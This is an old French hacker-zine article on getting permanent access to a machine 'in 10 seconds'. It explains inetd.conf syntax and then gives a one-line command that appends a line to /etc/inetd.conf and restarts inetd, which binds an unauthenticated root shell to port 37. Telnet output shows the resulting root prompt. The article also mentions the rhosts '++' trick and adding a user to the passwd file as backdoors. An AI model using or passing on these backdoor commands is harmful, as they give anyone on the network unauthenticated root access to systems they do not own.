                     Faire un access permanent sur une machine en 10sec
                     ==================================================
                                      By Lionel
                                      =========




1)Intro
-------

Cette article est a un but d'information pour se faire un access en peut de
temps sur une machine avec des commandes simple :o)

2)Expliquations
---------------

En fait il y a plusieurs moyen pour cela , les plus connus sont rlogin (echo
"++" >> ~/.rhost) ou de add un user dans le fichi passwd. Maintenent sous les
nouveau systemes "linux" on ne peut plus avoir access via telnet au root :p
donc voila une solution qui je pensse fera des heureux :o)
Bon je n'invente rien car ce truc est vachement connus mais bon , moi je
trouve ca toujours aussi bien!!

Maintenent j'explique l'astuce, le but est de mettre une nouvelle ligne dans
/etc/inetd.conf qui balancera un shell sur un port ....Un nouveau service quoi
;)

3)Inetd.conf
------------

Comment marche inetd.conf?

Prenons une ligne au hasard:
"daytime	stream	tcp	nowait	root	internal"

Et voila le principe de inetd.conf:
"<service_name> <sock_type> <proto> <flags> <user> <server_path> <args>"

Voila comment c'est fait:
daytime   = qui en gros donne le port ou sera le service. 
stream    = ca le type de socket (voir article dans linux-sa).
tcp       = le protocol utilis.  
nowait    = le flag.
root      = l'user qui lance le serveur.
internal  = ou ce trouve le serveur a lancer.
***(args) = les options du serveur si il y en a. 

Les services possible avec leur port:

7    =  echo    
9    =  discard            
11   =  systat                          
13   =  daytime   
15   =  netstat             
19   =  chargen 
21   =  ftp    
23   =  telnet  
25   =  smtp    
37   =  time      
79   =  finger   
109  =  pop-2
110  =  pop-3
143  =  imap                     
513  =  rlogin 
514  =  shell
Bon il y en a plus mais je suis pas votre iench alors cherchez vous meme!
voir -> "/etc/services"

4)Comment crer son propre service
----------------------------------

Maintenent on va faire notre service :o)
Il suffit d'avoir un programme ...    
exemple:
"time  stream  tcp  nowait  root  /bin/sh sh -i"
La on va voir un jolie shell sur le port 37 (time):
[xxx@OrganiKs]# telnet 127.0.0.1 37
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
bash# 

mouuuuuuuuaaaaaaaaaaaaaaaaaaa :)
Bon maintenent quand on veus allez vite sur un shell on fait:
[xxx@OrganiKs]#echo "time  stream  tcp  nowait  root  /bin/sh sh -i" >>
/etc/inetd.conf;killall -HUP inetd
[xxx@OrganiKs]#
Tadaaaaa :)
C'est pas simple?
Rapide ,efficace, que demander de plus?

5)Conclusion
------------

Conclusion simple : pourquoi faire compliquer quand on peut faire simple!
On est pas oblig de lancer un shell, on peut lancer n'importe quoi ... ;)

6)Greetz
--------

To: clemm, spoty , ank , tiffa, shado, klog, XSFX, Datahck, OrganiKs,[fred],
Mayhem, rix, exile , chx , prfalken , togusa , einstein , #toulouse, #r9,
#rhino9,madchat(#madchat->undernet),Darkbug,#linux-fr(ircnet),#oracle(efnet),
torcy&marcx dormoy&18eme (Ali k.,Xav,Olivier,Mathieux,Mmet,Arnauld,Camel,...),
cantepeau(sophie,ced,youness,seb,la shente,bouboule,ouadgerie, ...),
 toulouse(Gui.,florian,Lionel,JM,Dav,Vincent,Bruno,yohan,seb,cyril,
damien,jenny&virginie,stef&julie...).......Et tous ce que j'oublie...
